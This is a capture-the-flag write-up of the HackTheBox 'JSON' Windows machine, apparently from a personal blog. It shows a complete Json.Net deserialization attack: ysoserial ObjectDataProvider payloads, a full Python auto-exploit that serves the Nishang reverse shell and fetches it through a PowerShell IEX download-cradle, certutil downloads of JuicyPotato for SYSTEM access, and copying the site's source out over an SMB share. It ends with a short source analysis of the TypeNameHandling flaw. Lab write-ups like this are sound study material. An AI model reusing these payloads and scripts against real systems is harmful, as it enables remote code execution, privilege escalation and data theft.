This Box was a Windows Medium Box from HackTheBox. The exploration is trough deserealization in .NET. Which we explored with ysoserial. The root part we got different paths to get it. I did only the JuicyPotato one.
In the future I’ll make it again and complete all the paths.
The autoexploit is on the post. Hope you enjoy.
Diagram
Here is the diagram for this machine. It’s a resume from it.
graph TD
A[Enumeration] -->|Nmap - Gobuster| B(Login Page)
B --> |admin:admin| C[Logged In]
C --> |Bearer Token| D(Deserealization .NET)
D --> |Python Script| E[Automated Reverse Shell]
E --> |Juicy Potato| F[Administrator]
F --> |DemoAppExplanaiton.dll| G[Code Analysis - White Box]
Enumeration
First step is to enumerate the box. For this we’ll use nmap
1
nmap -sV -sC -Pn 10.10.10.158
-sV - Services running on the ports
-sC - Run some standart scripts
-Pn - Consider the host alive
Port 80
We open it on the browser and see what is being shown.
When tryied to access 10.10.10.158 on the browser.
It shows us a login panel but before quickly show a dashboard before redirect
Then automatically redirects to the login page
So we take a closer look at burp suite to see what is happening here
We see a bunch of js files being logged on our screen
We try the user admin:admin
and gets logged in
What is good to look is that the login request sets a cookie
It seems to be base64 encoded
1
OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=
We see that the password is the word “admin” md5 hash
Deserealization Attack
It’s a typical case of deserealization atack on this box
If we try to play with a different base64 token we got a interesting error message
"ExceptionMessage":"Cannot deserialize Json.Net Object"
We possible can perform a deserealization attack on this box!
Let’s generate one RCE with ysoserial
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o base64 -c "ping -n 2 10.10.14.20"
1
2
3
4
5
6
7
8
9
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd','/c ping 10.10.14.20']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
We decode, and test it
It’s working, now let’s get a reverse and automated shell on this box
1
2
3
4
5
6
7
8
9
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd','/c powershell.exe IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.20/rev.ps1')']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
Inetsrv Auto Shell
Let’s automate our reverse shell with a python script
As always, we will use our skeleton
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python3
import argparse
import requests
import sys
'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
parser.add_argument('-li', '--ipaddress', help='Listening IP address for reverse shell', required=False)
parser.add_argument('-lp', '--port', help='Listening port for reverse shell', required=False)
parser.add_argument('-u', '--username', help='Username to target', required=False)
parser.add_argument('-p', '--password', help='Password value to set', required=False)
args = parser.parse_args()
'''Here we call the functions'''
if __name__ == '__main__':
main()
json_auto.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#!/usr/bin/python3
# Author: 0x4rt3mis
# Auto JSON.Net Deserealizaiton Exploit - JSON HackTheBox
# Date: 19/09/21
import argparse
import requests
import sys
import base64
import os
from threading import Thread
import threading
import http.server
import socket
from http.server import HTTPServer, SimpleHTTPRequestHandler
import socket, telnetlib
from threading import Thread
'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
# Setup the handler
def handler(lport,target):
print("[+] Starting handler on %s [+]" %lport)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',lport))
s.listen(1)
conn, addr = s.accept()
print("[+] Connection from %s [+]" %target)
t.sock = conn
print("[+] Shell'd [+]")
t.interact()
# Setting the python web server
def webServer():
debug = True
server = http.server.ThreadingHTTPServer(('0.0.0.0', 80), SimpleHTTPRequestHandler)
if debug:
print("[+] Starting Web Server in background [+]")
thread = threading.Thread(target = server.serve_forever)
thread.daemon = True
thread.start()
else:
print("Starting Server")
print('Starting server at http://{}:{}'.format('0.0.0.0', 80))
server.serve_forever()
# Mount the payload
def mountPayload(lhost,lport):
if os.path.isfile('Invoke-PowerShellTcp.ps1'):
os.system("rm Invoke-PowerShellTcp.ps1")
print("[+] Let's download the Nishang reverse [+]")
os.system("wget -q -c https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1")
print("[+] Download Ok! [+]")
print("[+] Let's add the call to reverse shell! [+]")
file = open('Invoke-PowerShellTcp.ps1', 'a')
file.write('Invoke-PowerShellTcp -Reverse -IPAddress %s -Port %s' %(lhost,lport))
file.close()
print("[+] Call added! [+]")
# Function to create the ysoserial payload
def createPayload(lhost):
'''
Command used in windowns box with ysoserial with some modifications to get the ps1 reverse shell
ysoserial.exe -g WindowsIdentity -f Json.Net -c "ping 10.10.14.20"
'''
pay ="{\n"
pay +=" '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',\n"
pay +=" 'MethodName':'Start',\n"
pay +=" 'MethodParameters':{\n"
pay +=" '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',\n"
pay +=" '$values':['cmd','/c powershell.exe IEX(New-Object Net.WebClient).DownloadString(\\'http://%s/Invoke-PowerShellTcp.ps1\\')']\n" %lhost
pay +=" },\n"
pay +=" 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}\n"
pay +="}"
global payload
payload = b64e(pay)
# Function just to encode base64 things
def b64e(s):
return base64.b64encode(s.encode()).decode()
# Function to send the payload to the server
def sendPayload(rhost,payload):
url = "http://%s:80/api/Account/" %rhost
headers = {"Accept": "application/json, text/plain, */*", "Bearer": "%s" %payload}
r.get(url, headers=headers, proxies=proxies)
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
parser.add_argument('-li', '--ipaddress', help='Listening IP address for reverse shell', required=True)
parser.add_argument('-lp', '--port', help='Listening port for reverse shell', required=True)
args = parser.parse_args()
lhost = args.ipaddress
lport = args.port
rhost = args.target
'''Here we call the functions'''
# Set up the web python server
webServer()
# Set up the handler
thr = Thread(target=handler,args=(int(lport),rhost))
thr.start()
# Let's mount the ps1 nishang
mountPayload(lhost,lport)
# Create the json payload
createPayload(lhost)
# Send the payload
sendPayload(rhost,payload)
if __name__ == '__main__':
main()
Now, let’s become administrator on this box
We got three paths for it, but I’ll show just one because of the time we have.
Inetsrv –> Administrator
The first path we will explore is a SeImpersonatePrivilege
enabled, which we can use the JuicyPotato
to become root
We see the version of the windows
We get the CLSID for this this version on the Docs
https://ohpe.it/juicy-potato/
https://github.com/ohpe/juicy-potato/releases/tag/v0.1
1
certutil -urlcache -split -f http://10.10.14.20:8000/JuicyPotato.exe C:\Users\Public\Documents\JuicyPotato.exe
Now we create a call
"IEX (New-Object Net.Webclient).downloadstring('http://10.10.14.20:8000/Invoke-PowerShellTcp.ps1')"
certutil -urlcache -split -f http://10.10.14.20:8000/reverse.bat C:\Users\Public\Documents\reverse.bat
1
.\JuicyPotato.exe -t * -p .\reverse.bat -l 1111 -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"
Source Code Analysis
To find the vulnerability place of this box, we must do a code analysis in it.
With that in mind, let’s copy the source code to our box
1
2
3
impacket-smbserver share . -username 0x4rt3mis -password 123456 -smb2support
net use \\10.10.14.20\share /u:0x4rt3mis 123456
Copy-Item -Path "C:\inetpub\*" -Destination "\\10.10.14.20\share" -Recurse
Now we look for signatures of serialization on the source code
1
2
grep -lRi JavaScriptTypeResolver
grep -lRi TypeNameHandling
We found in three dll files, so it’s interesting to take a closer look at it
We open the dll files in our Commando VM with the dnSpy which decompile the dll
We look at the controllers of the DemoAppExplanaiton.dll
And it uses the TypeNameHandling to the bearer cookie. It’s the vulnerable part of the code which allow us do unserialize malicious data. That’s the way you possible found the vulnerability in a white box approach.